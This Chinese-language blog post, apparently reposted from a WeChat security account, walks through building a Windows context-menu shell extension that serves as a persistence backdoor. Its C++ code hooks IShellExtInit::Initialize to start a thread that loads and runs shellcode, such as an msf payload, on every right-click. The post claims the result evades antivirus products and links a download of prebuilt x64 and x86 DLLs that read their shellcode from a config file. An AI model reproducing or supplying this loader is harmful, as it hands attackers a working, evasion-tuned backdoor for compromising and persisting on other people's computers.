在上下文菜单中,我们要需要使用IShellExtInit接口初始化shell扩展,我就在想,如果我们每次右键使用上下文菜单的时候,让他执行我们想执行的恶意代码,那么不是妥妥的完美免杀吗?
我很早以前就说过“最好的免杀就是遵循一切安全软件的规则前提下去实现我们想实现的功能”。
首先我们写一个com控件然后注册上下文菜单,合情合理,然后我们在注册的功能上做我们想做的事,一点毛病也没有,任何安全软件绝对不会认为这是恶意的行为。
说干就干~~~~~~
1、FileContextMenuExt 类的构造函数和析构函数
这个类是一个COM(Component Object Model)对象,用于实现一个Shell扩展。
FileContextMenuExt::FileContextMenuExt(
void
) : m_cRef(
1
)
{
InterlockedIncrement( &g_cDllRef );
}
默认构造函数,将内部引用计数m_cRef设为1,并递增DLL的全局引用计数g_cDllRef,这通常在DLL入口点(DllMain)进行引用计数。
FileContextMenuExt::~FileContextMenuExt(
void
)
{
InterlockedDecrement( &g_cDllRef );
}
析构函数,递减DLL的全局引用计数g_cDllRef。当它达到0时,DLL可以被卸载。引用计数是为了安全地管理资源,确保不被过早释放或泄露。
2、COM对象接口 IUnknown
在COM编程模式中,IUnknown是所有COM对象必须实现的基础接口。要写三个方法:QueryInterface,AddRef和Release。
QueryInterface用于查询COM对象是否支持特定的接口,并获取该接口的指针。
IFACEMETHODIMP FileContextMenuExt::QueryInterface(REFIID riid,
void
**ppv)
{
static
const
QITAB qit[] =
{
QITABENT( FileContextMenuExt, IContextMenu ),
QITABENT( FileContextMenuExt, IContextMenu2 ),
QITABENT( FileContextMenuExt, IContextMenu3 ),
QITABENT( FileContextMenuExt, IShellExtInit ),
{
0
},
};
return
QISearch(
this
, qit, riid, ppv );
}
AddRef用于递增对象的引用计数。
IFACEMETHODIMP_(ULONG) FileContextMenuExt::AddRef()
{
return
InterlockedIncrement( &m_cRef );
}
Release用于递减对象的引用计数,当引用计数变为0时,对象将自我销毁。这是COM的标准方式来管理内存和对象寿命。
IFACEMETHODIMP_(ULONG) FileContextMenuExt::Release()
{
ULONG cRef = InterlockedDecrement( &m_cRef );
if
(
0
== cRef ) {
delete
this
;
}
return
cRef;
}
3、IShellExtInit 接口实现
IShellExtInit接口用于初始化Shell扩展,它有一个Initialize函数,它提供了与Shell相关的数据对象。
在这个函数中,我们就可以直接调用我们提前写好的gogogo方法,这里面方法里面可以写任何的功能,比如说加载一个shellcode。
下面的代码里面,我们目的只是调用我们的gogogo方法,其实并没有初始化任何功能,也就意味着我们没有改变原来上下文菜单的任何功能。
extern
LPCITEMIDLIST g_pidl;
IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID )
{
DWORD tid =
NULL
;
CreateThread(
NULL
,
1024
*
1024
, ( LPTHREAD_START_ROUTINE )gogogo,
NULL
,
0
, &tid );
if
(
NULL
== pDataObj ) {
if
( pidlFolder !=
NULL
) {
}
return
S_OK;
}
return
S_OK;
}
4、IContextMenu 接口的实现
IContextMenu接口是用于添加、处理和动态建立上下文菜单项的接口。
也是要写三个方法。
QueryContextMenu用于在Shell上下文菜单中添加新的菜单项。因为我们是做一个持久化后门,并不是改变上下文菜单,所以直接返回了一个成功的HRESULT,不需要实际添加任何菜单项。
IFACEMETHODIMP FileContextMenuExt::QueryContextMenu(HMENU hMenu,
UINT
indexMenu,
UINT
idCmdFirst,
UINT
idCmdLast,
UINT
uFlags)
{
g_QCMFlags = uFlags;
return
MAKE_HRESULT( SEVERITY_SUCCESS,
0
,
0
);
}
InvokeCommand当用户选择了一个菜单项时,这个函数会被调用。同上不需要任何功能,返回S_OK即可。
IFACEMETHODIMP FileContextMenuExt::InvokeCommand(LPCMINVOKECOMMANDINFO pici)
{
BOOL
fUnicode =
FALSE
;
if
( pici->cbSize ==
sizeof
(
CMINVOKECOMMANDINFOEX
) ) {
if
( pici->fMask &
CMIC_MASK_UNICODE
) {
fUnicode =
TRUE
;
}
}
return
S_OK;
}
GetCommandString用于获取菜单项的帮助文本或命令字符串,同上不需要任何功能,根据命令ID返回HRESULT即可。
IFACEMETHODIMP FileContextMenuExt::GetCommandString(
UINT_PTR
idCommand,
UINT
uFlags,
UINT
*pwReserved, LPSTR pszName,
UINT
cchMax)
{
HRESULT hr = E_INVALIDARG;
if
( idCommand == IDM_DISPLAY ) {
switch
( uFlags ) {
default
:
hr = S_OK;
}
}
return
hr;
}
5、HandleMenuMsg 和 HandleMenuMsg2
这两个方法是IContextMenu接口的后续扩展,它们允许上下文菜单处理Windows消息,使得复杂的菜单(如有子菜单的菜单)可以工作。这些方法中使用了一个辅助函数MenuMessageHandler来统一处理消息。但是我们不需要,所以MenuMessageHandler简单返回一个S_OK即可。
HRESULT
MenuMessageHandler(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT* pResult)
{
return
S_OK;
}
IFACEMETHODIMP
FileContextMenuExt::HandleMenuMsg(UINT uMsg, WPARAM wParam, LPARAM lParam)
{
LRESULT
res;
return
MenuMessageHandler( uMsg, wParam, lParam, &res );
}
IFACEMETHODIMP
FileContextMenuExt::HandleMenuMsg2(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT *plResult)
{
if
( NULL == plResult ) {
LRESULT
res;
return
MenuMessageHandler( uMsg, wParam, lParam, &res );
}
else
{
return
MenuMessageHandler( uMsg, wParam, lParam, plResult );
}
}
6、gogogo恶意方法
写一个gogogo的方法,里面就是当触发右键上下文菜单的时候要执行的功能。
比如我写一个最简单的执行shellcode的代码。
void
gogogo
()
{
DWORD dwOldProtect =
0
;
LPVOID addr = VirtualAlloc(
NULL
,
sizeof
( buf ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
memcpy
( addr, buf,
sizeof
( buf ) );
VirtualProtect( addr,
sizeof
( buf ), PAGE_EXECUTE_READ, &dwOldProtect );
( (
void
( * )() )addr )();
}
定义一个buf用来调用calc,可以直接生成一个。
然后以管理员生成运行一个cmd来注册该控件。
注册成功后,每当我们右键单击触发上下文菜单的时候,都会执行我们的gogogo方法调用我们的shellcode。
实战测试一下,用msf生成一个恶意的shellcode
编译注册,随意右键调用上下文菜单,直接上线,火绒及360亲测无任何反应。
上传virscan测试一下,完全无查杀,正如我之前所说,是完全遵循安全原则去实现我们想要实现的功能。
报告地址:
https://www.virscan.org/report/53025ee9b314aec4e73878f13ed34dae1fa04577d3ea0295511accc3b57ca6f3
授人以鱼不如授人以渔
希望大家自己去动手写,其实可以拓展很多功能,如果单纯的调用一下别人的shellcode其实很low,因为该上下文菜单持久化后门你调用一次会执行一次,应该更多的是自己拓展思维去开发后门方面的代码。
当然我们也满足不太了解编程或者c++的小伙伴,于是我在shellcode上写了一个加载config文件的方式编译成成品打包给大家。
config.txt文件里面的shellcode格式如下,不要有换行。config.txt与dll在同一目录下即可。
下面是运行效果
regsvr32 ContextMenuHook_x64.dll 注册控件,然后随意右键单击调用上下文菜单,成功上线。
打包了x64和x86两个dll送给大家,注意,注册dll的时候要有管理员权限,使用x64时shellcode也要使用x64的,x86同理。
下载地址:
下载链接:https://pan.baidu.com/s/1Xpl2N7XnzS-yhMZT0k8uyg 提取码:zfj0
原文始发于微信公众号(蓝极战队):免杀那点事之上下文菜单持久化后门(四)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论